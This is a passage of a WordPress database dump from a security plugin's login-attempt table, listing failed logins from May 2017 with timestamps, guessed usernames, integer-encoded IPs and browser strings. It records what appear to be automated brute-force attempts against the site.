(100683, 1496260450.190092, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100682, 1496260449.876575, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100681, 1496260449.565235, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100680, 1496260449.256200, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100679, 1496260448.946152, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100678, 1496260448.635646, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100677, 1496260448.322949, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100676, 1496260447.998301, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100675, 1496240906.362396, 1, 'loginFailInvalidUsername', 'wpupdatestream', 0, 1539837019, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.57.10) Gecko/20169991 Firefox/52.57.10'),
(100674, 1496238067.214510, 1, 'loginFailInvalidUsername', 'center', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100673, 1496238065.192649, 1, 'loginFailInvalidUsername', 'namur', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100672, 1496238063.185702, 1, 'loginFailInvalidUsername', 'travail', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100671, 1496238061.029574, 1, 'loginFailInvalidUsername', 'professionnel', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100670, 1496238059.072825, 1, 'loginFailInvalidUsername', 'outils', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100669, 1496238056.983586, 1, 'loginFailInvalidUsername', 'venez', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100668, 1496238054.979589, 1, 'loginFailInvalidUsername', 'objectifs', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100667, 1496238052.996167, 1, 'loginFailInvalidUsername', 'cross', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100666, 1496238051.030138, 1, 'loginFailInvalidUsername', 'pour', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100665, 1496238047.067476, 1, 'loginFailInvalidUsername', 'notre', 0, 598138358, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100664, 1496237821.172664, 1, 'loginFailInvalidUsername', 'outils', 0, 3163163411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100663, 1496237547.076690, 1, 'loginFailInvalidUsername', 'venez', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100662, 1496237544.631965, 1, 'loginFailInvalidUsername', 'objectifs', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100661, 1496237542.528702, 1, 'loginFailInvalidUsername', 'cross', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100660, 1496237540.290003, 1, 'loginFailInvalidUsername', 'pour', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100659, 1496237538.206345, 1, 'loginFailInvalidUsername', 'notre', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100658, 1496237536.073866, 1, 'loginFailInvalidUsername', 'training', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100657, 1496237533.987473, 1, 'loginFailInvalidUsername', 'vous', 0, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100656, 1496237531.887651, 1, 'loginFailValidUsername', 'pablo', 3, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100655, 1496237529.735046, 1, 'loginFailValidUsername', 'julie', 2, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100654, 1496237526.786249, 1, 'loginFailValidUsername', 'admin', 1, 842969491, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100653, 1496230080.586129, 1, 'loginFailValidUsername', 'admin', 1, 2978476462, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100652, 1496223939.029169, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100651, 1496223938.717701, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100650, 1496223938.407953, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100649, 1496223938.098361, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100648, 1496223937.787855, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100647, 1496223937.478662, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100646, 1496223937.166054, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100645, 1496223936.855833, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100644, 1496223936.545716, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100643, 1496223936.231913, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100642, 1496223935.922821, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100641, 1496223935.613341, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100640, 1496223935.303858, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100639, 1496223934.994223, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100638, 1496223934.684338, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100637, 1496223934.371963, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100636, 1496223934.060191, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100635, 1496223933.750088, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100634, 1496223933.410159, 1, 'loginFailValidUsername', 'admin', 1, 1049988935, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100354, 1495857236.078681, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100353, 1495852932.961256, 1, 'loginFailInvalidUsername', '{login}', 0, 1042038966, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100352, 1495846197.428282, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3470134655, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100351, 1495841872.470910, 1, 'loginFailValidUsername', 'admin', 1, 1828725654, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100350, 1495839704.131774, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 783835753, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100349, 1495837555.488568, 1, 'loginFailInvalidUsername', '{login}', 0, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100348, 1495835388.938914, 1, 'loginFailValidUsername', 'admin', 1, 3397466494, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100347, 1495833372.807289, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1046956164, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100346, 1495831342.459474, 1, 'loginFailInvalidUsername', '{login}', 0, 2949647692, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100345, 1495829229.004134, 1, 'loginFailValidUsername', 'admin', 1, 1563679021, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100344, 1495827807.342046, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100343, 1495827807.032758, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100342, 1495827806.720130, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100341, 1495827806.409871, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100340, 1495827806.100097, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100339, 1495827805.788778, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100338, 1495827805.477898, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100337, 1495827805.168308, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100336, 1495827804.857771, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100335, 1495827804.548800, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100334, 1495827804.239368, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100333, 1495827803.928135, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100332, 1495827803.618539, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100331, 1495827803.306955, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100330, 1495827802.996128, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100329, 1495827802.686131, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100328, 1495827802.375993, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100327, 1495827802.064934, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100326, 1495827801.752327, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100325, 1495827571.731989, 1, 'loginFailValidUsername', 'julie', 2, 2030594922, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100324, 1495825048.464478, 1, 'loginFailInvalidUsername', '{login}', 0, 1495116718, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100323, 1495822995.814892, 1, 'loginFailValidUsername', 'admin', 1, 781668949, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100322, 1495818679.750147, 1, 'loginFailInvalidUsername', '{login}', 0, 3387838170, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100321, 1495816486.714127, 1, 'loginFailValidUsername', 'admin', 1, 2945407100, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100320, 1495814331.707772, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1828725649, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100319, 1495812262.171206, 1, 'loginFailInvalidUsername', '{login}', 0, 1941604657, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100318, 1495808121.064227, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1835212082, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100316, 1495807151.492330, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100317, 1495808121.064226, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1835212082, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100315, 1495807151.180026, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100314, 1495807150.868078, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100313, 1495807150.556678, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100312, 1495807150.243272, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100311, 1495807149.877088, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100310, 1495807149.567416, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100309, 1495807149.250521, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100308, 1495807148.938042, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100307, 1495807148.627150, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100306, 1495807148.314604, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100305, 1495807148.001676, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100304, 1495807147.689589, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100303, 1495807147.379959, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100302, 1495807147.069475, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100301, 1495807146.753574, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100300, 1495807146.438443, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100299, 1495807146.126963, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100298, 1495807145.806355, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100297, 1495806054.624280, 1, 'loginFailInvalidUsername', '{login}', 0, 1845364905, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100296, 1495801673.014177, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100295, 1495799547.648618, 1, 'loginFailInvalidUsername', '{login}', 0, 998235371, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100294, 1495795232.077736, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3735412901, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100293, 1495793067.854757, 1, 'loginFailInvalidUsername', '{login}', 0, 3170385964, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100292, 1495788617.050800, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1042038966, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100291, 1495784050.746217, 1, 'loginFailValidUsername', 'admin', 1, 1401863434, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100290, 1495781347.928362, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3254658598, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100289, 1495779079.096273, 1, 'loginFailInvalidUsername', '{login}', 0, 3397466494, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100288, 1495776658.723332, 1, 'loginFailValidUsername', 'admin', 1, 3107039609, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100287, 1495771606.049286, 1, 'loginFailInvalidUsername', '{login}', 0, 783839564, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100286, 1495768984.075559, 1, 'loginFailValidUsername', 'admin', 1, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100285, 1495768502.364884, 1, 'loginFailValidUsername', 'admin', 1, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100284, 1495748307.344638, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.87.24 (KHTML, like Gecko) Chrome/56.2.7516.1244 Safari/532.16 OPR/42.1.5794.0521'),
(100283, 1495720449.377098, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/533.92.49 (KHTML, like Gecko) Version/5.4.9 Safari/531.84'),
(100282, 1495688389.872270, 1, 'loginFailValidUsername', 'admin', 1, 3497110456, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100281, 1495687824.927569, 1, 'loginFailInvalidUsername', 'notre', 0, 1760853483, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100280, 1495623875.847499, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1600667046, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100279, 1495587211.376664, 1, 'loginFailInvalidUsername', 'notre', 0, 3242600154, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100278, 1495586644.606421, 1, 'loginFailInvalidUsername', 'outils', 0, 3590043248, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100277, 1495586186.837136, 1, 'loginFailValidUsername', 'admin', 1, 3497113622, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100276, 1495585685.691431, 1, 'loginFailInvalidUsername', 'notre', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100275, 1495584571.974848, 1, 'loginFailInvalidUsername', 'outils', 0, 842969123, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100274, 1495584094.377546, 1, 'loginFailValidUsername', 'admin', 1, 3497113622, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100273, 1495583530.291845, 1, 'loginFailInvalidUsername', 'notre', 0, 3635199372, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100272, 1495583194.834223, 1, 'loginFailInvalidUsername', 'outils', 0, 842965149, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100271, 1495582480.402686, 1, 'loginFailValidUsername', 'admin', 1, 3163163411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100270, 1495582000.072363, 1, 'loginFailInvalidUsername', 'center', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100269, 1495581997.599903, 1, 'loginFailInvalidUsername', 'namur', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100268, 1495581994.990733, 1, 'loginFailInvalidUsername', 'travail', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100267, 1495581992.674968, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100266, 1495581990.217263, 1, 'loginFailInvalidUsername', 'outils', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100265, 1495581988.043489, 1, 'loginFailInvalidUsername', 'venez', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100264, 1495581985.959511, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100263, 1495581983.505079, 1, 'loginFailInvalidUsername', 'cross', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100262, 1495581981.710126, 1, 'loginFailInvalidUsername', 'pour', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100261, 1495581979.910324, 1, 'loginFailInvalidUsername', 'notre', 0, 1572433768, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100260, 1495489976.115695, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1936861289, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
